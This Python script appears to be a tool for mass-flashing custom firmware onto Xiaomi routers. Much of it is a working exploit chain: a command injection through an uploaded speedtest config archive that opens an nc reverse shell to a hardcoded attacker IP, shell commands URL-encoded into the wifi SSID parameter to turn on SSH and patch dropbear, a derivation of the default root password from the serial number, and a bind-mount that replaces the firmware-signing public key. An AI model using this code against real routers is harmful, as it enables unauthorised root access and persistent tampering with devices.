#!/usr/bin/env python3

import sys
import os
import shutil
import tarfile
import pexpect
import requests
import json
import time
import hashlib
from pygame import mixer
from multiprocessing import Process
from subprocess import Popen
from common import redis, now, loop
from exec import run_cmd
from chrome import Chrome
from selenium.webdriver.common.keys import Keys
from traceback import print_exc

netcat_port = "4444"
router_ip = "192.168.31.1"
router_password = "12345678"
attacker_ip = "192.168.31.22"
keyfile = "/route/ant/public.pem"
r3_tar_file = "/route/ant/r3.tar.gz"
FIRMWARE_DIR = "/route/rom"

LOGIN_URL = "http://%s" % router_ip
INIT_V1_URL = "http://%s/cgi-bin/luci/web/init/hello" % router_ip
INIT_V2_URL = "http://%s/cgi-bin/luci/web/init/index#/home" % router_ip
INIT_V3_URL = "http://%s/cgi-bin/luci/web/init/guidetoapp" % router_ip

mixer.init()
finsh_sound = mixer.Sound('./mygod.wav')

RDS_ROUTE_STOK = "ROUTE_STOK"

rds = redis()

def sound_play(sound, *args, wait=True, **kwargs):
    c = sound.play(*args, **kwargs)
    while c.get_busy():
        time.sleep(1)

def err_exit(msg, code=0):
    print(msg)
    return code

def get_ip_mac(ip):
    """
    获取对应IP的MAC地址
    """
    out, err = run_cmd("ifconfig | egrep '^e' | awk -F ' ' '{print $1}' | head -n 1")
    ethname = ""
    if out and out[0]:
        ethname = "-i %s" % out[0].split(':')[0]
    print("get_ip_mac: ", ethname)
    out, err = run_cmd("arp -a %s | egrep -w '%s' | awk '{print $4}'" % (ethname, ip))
    return  out[0] if out else None

def route_firstboot(chrome, route, route_ip, cache=True, msg=""):
    print("%s - %s 路由器恢复出厂设置..." % (route['model'], route['sn']))
    chrome.get("http://%s/cgi-bin/luci/;stok=%s/web/setting/upgrade" % (route_ip, route['stok']))
    chrome.sleep(1)
    e = chrome.element('btnReset')
    chrome.sleep(0.1)
    e.click()
    chrome.sleep(0.3)
    chrome.element('toresetwindow').click()
    chrome.sleep(0.3)
    chrome.xpath('//a/span[text()="确认"]').click()
    chrome.sleep(30)
    check_route_online(route['stok'], route_ip, ts=30, sec=5, reject=3, msg="请耐心等待恢复出厂设置")
    if cache:
        mac = get_ip_mac(route_ip)
        route.pop('chrome')
        rds.delete(mac)
        rds.set(mac, route, 14400)
    print("恭喜你, 恢复出厂设置成功! %s" % msg)

def route_init_v1(c, password):
    print("正在自动执行老版初始化配置....")
    c.element('btnStart').click()
    c.sleep(5)
    try:
        print("pppoessidpwd click...")
        c.xpath('//a[@data-to="pppoeorssidpwd"]').click()
    except:
        #  print_exc()
        pass
    e = c.xpath('//input[@name="wifipwd"]')
    e.send_keys(router_password)
    e.send_keys(Keys.TAB)
    e.send_keys(Keys.RETURN)
    c.sleep(1)
    e = c.element('samepwd')
    e.click()
    e.send_keys(Keys.TAB)
    e.send_keys(Keys.RETURN)
    c.sleep(5)
    c.element('updateVasBtn').click()
    c.sleep(0.5)
    c.css('.gotohome').click()

def route_init_v2(c, password):
    print("正在自动执行新版初始化配置....")
    c.xpath('//a[@class="button"][text()="马上体验"]').click()
    c.sleep(2)
    try:
        c.xpath('//button[text()="下一步"]').click()
    except:
        c.xpath('//a[text()="不插网线，继续配置"]').click()
        c.xpath('//li[text()="自动获取IP"]').click()
    c.xpath('//input[@placeholder="WiFi密码至少8位"]').send_keys(router_password)
    c.xpath('//button[@type="submit"][text()="下一步"]').click()
    c.sleep(5)
    c.get(LOGIN_URL)
    c.sleep(1)

def connect_url(url, name='code', value=0, trace=True, debug=False):
    try:
        if debug:
            print('CONNECT_URL GET(%s = %s): ' % (name, value), url)
        r = requests.get(url, timeout=(5, 27))
        if debug:
            print("CONNECT_URL RESULT: ", r.text)
        if not r.text:
            return 0
        r = json.loads(r.text)
        return bool(r[name] == value)
    except:
        if trace:
            print_exc()
    return None

def check_stok(stok):
    """
    检测stok是否可用
    """
    url = "http://%s/cgi-bin/luci/;stok=%s/api/misystem/devicelist"
    url = url % (router_ip, stok)
    return connect_url(url)

def check_route_online(stok="123456789", ip="192.168.31.1", ts=0, sec=3, reject=1, msg="正在等待路由器上线"):
    """
    等待路由器设备连通在线
    """
    url = "http://%s/cgi-bin/luci/;stok=%s/api/misystem/status" % (ip, stok)
    while True:
        ret = connect_url(url, value=401, trace=False)
        if ret:
            break

        if isinstance(ret, int) and ret == 0 and reject > 0:
            reject = reject - 1

        if reject <= 0:
            return ts, True

        print("%s, 已等待 %s 秒..." % (msg, ts))
        ts = ts + sec
        time.sleep(sec)
    return ts, False

def web_auto_login(c, password):
    try:
        print("正在尝试自动登录后台...")
        c.get(LOGIN_URL)
        c.sleep(1)
        c.alert_ok()

        if c.urlcompare(INIT_V1_URL):
            route_init_v1(c, password)
            return True

        if c.urlcompare(INIT_V2_URL):
            route_init_v2(c, password)

        if c.urlcompare(INIT_V3_URL):
            c.xpath('//a[text()="暂不需要"]').click()
            c.sleep(1)
            route_init_v1(c, password)
            return True

        c.element('password').send_keys(password)
        c.element('btnRtSubmit').click()
        c.sleep(5)
        if c.current_url.endswith('/cgi-bin/luci/web'):
            print("路由器密码: %s 不正确, 请手动恢复出厂设置..." % password)
            c.sleep(10)
            return False
        return True
    except:
        return False

def web_get_info(c):
    try:
        route = {}
        model = c.element('routermodel')
        md5 = model.get_attribute('md5')
        if md5:
            route['md5'] = md5
        route['model'] = model.text.split('(')[1].rstrip(')')
        route['sn'] = c.element('routersn').text
        route['version'] = c.element('routerversion').text
        route['time'] = now()
        return route
    except:
        return False

def get_route_stok(password, chrome=True, stokChk=True, cacheChk=True, **kwargs):
    """
    返回浏览器对象和路由器信息
    自动登录, 自动首次配置
    """
    #  如果缓存有数据则判断stok是否可用
    route = rds.hgetall(RDS_ROUTE_STOK) if cacheChk else {}
    print("redis hgetall: ", route)
    if route.get('stok', False) and stokChk and not check_stok(route['stok']):
        route = {}

    print("check stok: ", route)
    #  直接返回缓存数据, 不需要浏览器对象
    if route and not chrome:
        return route

    if isinstance(chrome, Chrome):
        c = chrome
    else:
        c = Chrome(headless=kwargs.get("headless", False), detach=kwargs.get("detach", False))

    #  缓存有数据并且stok检测可用, 要求返回浏览器对象
    if route and chrome:
        url = 'http://%s/cgi-bin/luci/;stok=%s/web/home#router'
        c.get(url % (kwargs.get("ip", "192.168.31.1"), route['stok']))
        route['chrome'] = c
        return route

    loop(web_auto_login, c, password, delay=3)

    while not c.current_url.endswith('/web/home#router'):
        print("login wait...")
        c.sleep(1)

    route = {}
    start = c.current_url.find('stok=') + 5
    end = c.current_url.find('/', start)
    route['stok'] = c.current_url[start:end]

    route.update(loop(web_get_info, c, delay=2))

    print("route save redis: ", route)
    rds.delete(RDS_ROUTE_STOK)
    rds.hmset(RDS_ROUTE_STOK, route)
    route['chrome'] = c

    return route

def sn_to_key(sn):
    """
    根据SN获取路由器默认SSH密码
    """
    magic = '6d2df50a-250f-4a30-a5e6-d44fb0960aa0'
    ps = ''
    for x in hashlib.md5((sn + magic).encode()).digest()[:4]:
        ps += hex(x >> 4 & 0xF).strip('0x') + hex(x & 0xF).strip('0x')
    return ps

def start_inject(stok, netcat_port, router_ip, attacker_ip):
    """
    入侵路由器利用nc反弹shell
    """
    command="((sh /tmp/build/script.sh) &)"
    proxies = {}

    if os.path.exists("build"):
        shutil.rmtree("build")
    os.makedirs("build")

    ## make config file
    speed_test_filename = "speedtest_urls.xml"
    with open("speedtest_urls_template.xml","rt") as f:
            template = f.read()
    data = template.format(router_ip_address=router_ip, command=command)
    # print(data)
    with open("build/speedtest_urls.xml",'wt') as f:
            f.write(data)

    ## make script file
    with open("script_template.sh","rt") as f:
            script_template = f.read()
    script_data = script_template.format(attacker_ip_address=attacker_ip, directory="/tmp/p", port=netcat_port)
    # print(script_data)
    with open("build/script.sh",'wt') as f:
            f.write(script_data)

    print("****************")
    print("netcat_port: " + netcat_port)
    print("attacker_ip_address: " + attacker_ip)
    print("router_ip_address: " + router_ip)
    print("stok:" + stok)
    print("****************")

    # Make tar
    with tarfile.open("build/payload.tar.gz", "w:gz") as tar:
            tar.add("build/speedtest_urls.xml", "speedtest_urls.xml")
            tar.add("build/script.sh")

    ## upload config file
    print("start uploading config file ...")
    r1 = requests.post("http://{}/cgi-bin/luci/;stok={}/api/misystem/c_upload".format(router_ip, stok), files={"image":open("build/payload.tar.gz",'rb')}, proxies=proxies)
    #  print(r1.text)

    ## exec download speed test, exec command
    print("start exec command...")
    r2 = requests.get("http://{}/cgi-bin/luci/;stok={}/api/xqnetdetect/netspeed".format(router_ip, stok), proxies=proxies)
    #  print(r2.text)

    #  print("done!")

def proc_inject(stok, port, route, ip):
    proc = Process(target=start_inject, args=(stok, port, route, ip))
    proc.start()
    return proc
#------------------------------------------------------------------------------

def web_upgrade_ending(router_password, chrome, route_ip, keyfile=None):
    try:
        route = get_route_stok(router_password, chrome=chrome, cacheChk=False, stokChk=False)
        print("web_upgrade_ending route: ", route)
        if keyfile is None:
            print("预备固件刷入成功!")
            return route

        if route.get('md5', None) is None:
            return "固件刷入失败, 正在重新刷机"
        print("固件刷入成功, 正在恢复出厂设置...")
        route_firstboot(chrome, route, route_ip, msg=" %s - %s 路由器刷机流程已完成!" % (route['model'], route['sn']))
    except:
        print_exc()
    return None

def web_upgrade(route, port, route_ip, ip, keyfile, router_password, xiaomi=""):
    if xiaomi != "mi" and route['model'] == 'R3L' and route['version'].find('稳定版 2.8.4') != -1:
        web_upgrade(route, port, route_ip, ip, None, router_password, "mi")

    try:
        if keyfile is not None:
            keymd5 = run_cmd("md5sum %s | awk '{print $1}'" % keyfile)[0][0]
            if route.get('md5', False) == False or route['md5'] != keymd5:
                raise Exception
    except:
        print("正在替换路由器公钥...")
        nc_shell(route, port, route_ip, ip, shell_action=nc_upkey, keyfile=keyfile)

    chrome = route['chrome']
    print("%s - %s 路由器刷机开始..." % (route['model'], route['sn']))
    chrome.get("http://%s/cgi-bin/luci/;stok=%s/web/setting/upgrade" % (route_ip, route['stok']))
    chrome.sleep(1)
    chrome.element('btnUpload').click()
    chrome.element('image').send_keys(FIRMWARE_DIR + '/%s%s.bin' % (xiaomi, route['model']))
    chrome.element('uploadFormBtn').click()
    ts = 15
    chrome.sleep(ts)
    try:
        chrome.element('isreset').click()
        chrome.element('btnFlashrom').click()
    except:
        pass
    print("已等待 %s 秒, 请耐心等待刷机过程..." % ts)
    ts = ts * 4
    chrome.sleep(ts)
    ts, init = check_route_online(route['stok'], route_ip, ts, sec=5, reject=3, msg="请耐心等待刷机过程")
    print("刷机完成, 总用时: %s 秒, 正在重新登录..." % ts)

    ts = web_upgrade_ending(router_password, chrome, route_ip, keyfile)
    if isinstance(ts, str):
        raise Exception(ts)

def enable_ssh(stok, ip, key):
    gw='http://%s/cgi-bin/luci/;stok=%s/api' % (ip, stok)
    wifiurl = '%s/xqnetwork/set_wifi_ap?ssid=Xiaomi&encryption=NONE&enctype=NONE&channel=1' % gw
    s1 = wifiurl + '%3Bnvram%20set%20ssh%5Fen%3D1%3B%20nvram%20commit'
    s2 = wifiurl + '%3Bsed%20%2Di%20%22%3Ax%3AN%3As%2Fif%20%5C%5B%2E%2A%5C%3B%20then%5Cn%2E%2Areturn%200%5Cn%2E%2Afi%2F%23tb%2F%3Bb%20x%22%20%2Fetc%2Finit.d%2Fdropbear'
    s3 = wifiurl + '%3B%2Fetc%2Finit.d%2Fdropbear%20start'
    pwdurl = '%s/xqsystem/set_name_password?oldPwd=12345678&newPwd=%s' % (gw, key)

    kwargs = {'value': 1616, 'trace': False}
    print("正在开启路由器ssh服务或修改SSH密码...")
    if (connect_url(s1, **kwargs)
            and connect_url(s2, **kwargs)
            and connect_url(s3, **kwargs)
            and connect_url(pwdurl, trace=False, debug=True)):
        print("路由器ssh服务开启或修改密码成功")
        return True
    print("路由器ssh服务开启或修改密码失败")
    return False

def ssh_do_upgrade(ssh, route, route_ip, router_password, *args, **kwargs):
    ssh.sendline("cd /tmp")
    print("正在解压...")
    ssh.sendline("tar -xzf r3.tar.gz")
    ssh.sendline("cd r3")
    ssh.sendline("chmod +x init.sh")
    time.sleep(1)
    print("执行脚本...")
    ssh.sendline("./init.sh &")
    time.sleep(1)
    ssh.sendline("exit")
    ts = 15
    time.sleep(ts)
    ts, init = check_route_online(route['stok'], route_ip, ts, sec=5, reject=3, msg="请耐心等待刷机过程")
    print("刷机完成, 总用时: %s 秒, 正在重新登录..." % ts)
    router_password = sn_to_key(route['sn'])
    ts = web_upgrade_ending(router_password, route['chrome'], route_ip, True)
    if isinstance(ts, str):
        raise Exception(ts)

def ssh_upgrade(route, route_ip, router_password, r3_tar_file):
    #  刷开发版固件
    if route['version'].find('MiWiFi 开发版 2.11.20') == -1:
        web_upgrade(route, None, route_ip, None, None, router_password)
    if route is None:
        raise Exception
    #  scp初始化包到路由器/tmp/目录
    print("SCP初始化包到路由器...")
    ssh_shell(route, route_ip, srcpath=r3_tar_file, dstpath="/tmp/")
    #  ssh登录路由器解压初始化包并且执行
    print("通过ssh触发初始化包脚本...")
    ssh_shell(route, route_ip, ssh_do_upgrade, router_password=router_password)

def upgrade(route, do_upgrade, *args, **kwargs):
    for i in range(6):
        try:
            return do_upgrade(route, *args, **kwargs)
        except:
            print_exc()
            route['chrome'].sleep(3)

def nc_upkey(nc, route, port, route_ip, ip, keyfile):
    """
    nc替换公钥文件
    """
    upath = "/tmp/tang.pem"
    routekeydir = "/usr/share/xiaoqiang/public.pem"
    tport = int(port) + 10

    print("nc_upkey: route = %s, keyfile = %s" % (route, keyfile))
    print("nc_upkey: port = %s, route_ip = %s" % (port, route_ip))
    print("nc_upkey: ip = %s, tport = %s" % (ip, tport))
    p = Popen('cat %s | nc -N -l %s %s' % (keyfile, ip, tport), shell=True)
    nc.sendline('nc %s %s > %s' % (ip, tport, upath))
    p.wait()
    print("nc_upkey cat | nc wait finish...")
    nc.sendline('mount -o bind %s %s' % (upath, routekeydir))
    print("nc_upkey mount bind finish...")

def shell_interact(ep, route, *args, **kwargs):
    """
    手工交互回调
    """
    print("Press Enter Entry Terminal...")
    ep.interact()

def ssh_login(route, ip, cmd):
    """
    ssh登录
    """
    key = sn_to_key(route['sn'])
    print(key)

    pwdErrNum = 0
    for i in range(3):
        ssh = pexpect.spawn(cmd)
        for j in range(3):
            r = ssh.expect([pexpect.TIMEOUT, 'Connection refused', 'password', '#', pexpect.EOF])
            #  print("enable_ssh ssh expect: ", r)
            if r == 0:
                return err_exit("ssh input password timeout!", 0)
            elif r == 4:
                print("pexpect命令结束")
                return ssh
            elif r == 3:
                print("pexpect进入命令行")
                return ssh
            elif r == 2:
                ssh.sendline(key)
                if pwdErrNum > 1:
                    if not enable_ssh(route['stok'], ip, key):
                        route_firstboot(route['chrome'], route, ip, cache=False)
                    pwdErrNum = 0
                else:
                    pwdErrNum = pwdErrNum + 1
            elif r == 1:
                enable_ssh(route['stok'], ip, key)
                break
        time.sleep(2)

    return 1

def ssh_shell(route, ip, shell_action=None, srcpath=None, dstpath=None, *args, **kwargs):
    """
    ssh相关操作
    """
    if srcpath is not None:
        scp = ssh_login(route, ip, "scp -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -r %s root@%s:%s" % (srcpath, ip, dstpath))
        if isinstance(scp, int):
            return scp
        return scp.wait()

    ssh = ssh_login(route, ip, "ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null root@%s" % ip)
    if isinstance(ssh, int):
        return ssh

    if shell_action is None:
        return shell_interact(ssh, route, ip)
    return shell_action(ssh, route, ip, *args, **kwargs)

def nc_shell(route, port, route_ip, ip, shell_action=None, **kwargs):
    """
    NC反弹SHELL操作
    """
    shell_action = shell_interact if shell_action is None else shell_action

    proc = proc_inject(route['stok'], port, route_ip, ip)
    print("nc -l %s..." % port)
    nc = pexpect.spawn("nc -l %s" % port)

    for i in range(9):
        r = nc.expect([pexpect.TIMEOUT, '#'], timeout=20)
        if r != 0:
            print("run shell action: ", shell_action)
            shell_action(nc, route, port, route_ip, ip, **kwargs)
            proc.terminate()
            nc.close()
            return None

        print("Retry Inject...")
        proc.terminate()
        route['chrome'].sleep(3)
        proc = proc_inject(route['stok'], port, route_ip, ip)

    proc.terminate()
    nc.close()
    raise Exception("NC Shell 反弹失败...")

def command_login(cmdname, *args):
    """
    后台登录命令
    """
    check_route_online(ip=router_ip)

    if args and args[0] == 'update':
        print(get_route_stok(router_password, False, False, False, ip=router_ip, headless=True))
    else:
        print(get_route_stok(router_password, ip=router_ip, detach=True))

def command_shell(cmdname, *args):
    """
    路由器交互命令
    """
    check_route_online(ip=router_ip)

    headless = True if args and args[0] != "0" else False
    route = get_route_stok(router_password, ip=router_ip, headless=headless)
    if route["model"] == "R3":
        return ssh_shell(route, router_ip)
    return nc_shell(route, netcat_port, router_ip, attacker_ip)

def check_flash_mac(router_ip):
    mac = get_ip_mac(router_ip)
    route = rds.get(mac)
    print("check route mac: ", mac, ", cache mac to route: ", route)
    if route:
        print("%s - %s 路由器在 %s 已经刷过了..." % (route['model'], route['sn'], route['time']))
        return True
    return False

def flash_one_route(chrome, force=False):
    """
    针对一个路由器刷机
    """
    check_route_online(ip=router_ip)

    if not force and check_flash_mac(router_ip):
        return None

    route = get_route_stok(router_password, chrome=chrome, ip=router_ip)

    if route.get('md5', None):
        if route["model"] == "R3":
            print("%s - %s路由器已经刷过系统, 不需要重刷!" % (route['model'], route['sn']))
            return route_firstboot(chrome, route, router_ip)

        if not force and input("%s - %s 路由器已经刷过系统, 是否重刷?(y/n): " % (route["model"], route["sn"])) != 'y':
            return route_firstboot(chrome, route, router_ip)

    if not force and check_flash_mac(router_ip):
        return route_firstboot(chrome, route, router_ip)

    if route["model"] == "R3":
        upgrade(route, ssh_upgrade, router_ip, router_password, r3_tar_file)
    else:
        upgrade(route, web_upgrade, netcat_port, router_ip, attacker_ip, keyfile, router_password)

    sound_play(finsh_sound)

def command_flash(cmdname, *args):
    """
    路由器刷机命令
    """
    force = False
    daemon = False
    headless = False

    for name in args:
        if name == "back" or name == 'b':
            headless = True
        elif name == 'loop' or name == 'l':
            daemon = True
        elif name == 'force' or name == 'f':
            force = True

    print("force: ", force, ", loop: ", daemon, ", back: ", headless)

    c = Chrome(headless=headless)

    if daemon:
        loop(flash_one_route, c, force, delay=3)
    else:
        flash_one_route(c, force)

def command_ping(cmdname, *args):
    ts, init = check_route_online(ip=router_ip)
    if init:
        print("路由器已在线, 正在初始化配置中, 等待 %s 秒" % ts)
    else:
        print("路由器已在线, 等待 %s 秒" % ts)

def command_first(cmdname, *args):
    check_route_online(ip=router_ip)
    route = get_route_stok(router_password, ip=router_ip)
    route_firstboot(route['chrome'], route, router_ip, False)

def command_none(cmdname, *args):
    print("Not Math %s Command: " % cmdname, args)

def main(argc, argv):
    if argc < 2:
        return err_exit("Usage: xm Command [Sub-Command]...")
    do = globals().get('command_' + argv[1], command_none)
    return do(*argv[1:])

if __name__ == '__main__':
    main(len(sys.argv), sys.argv)

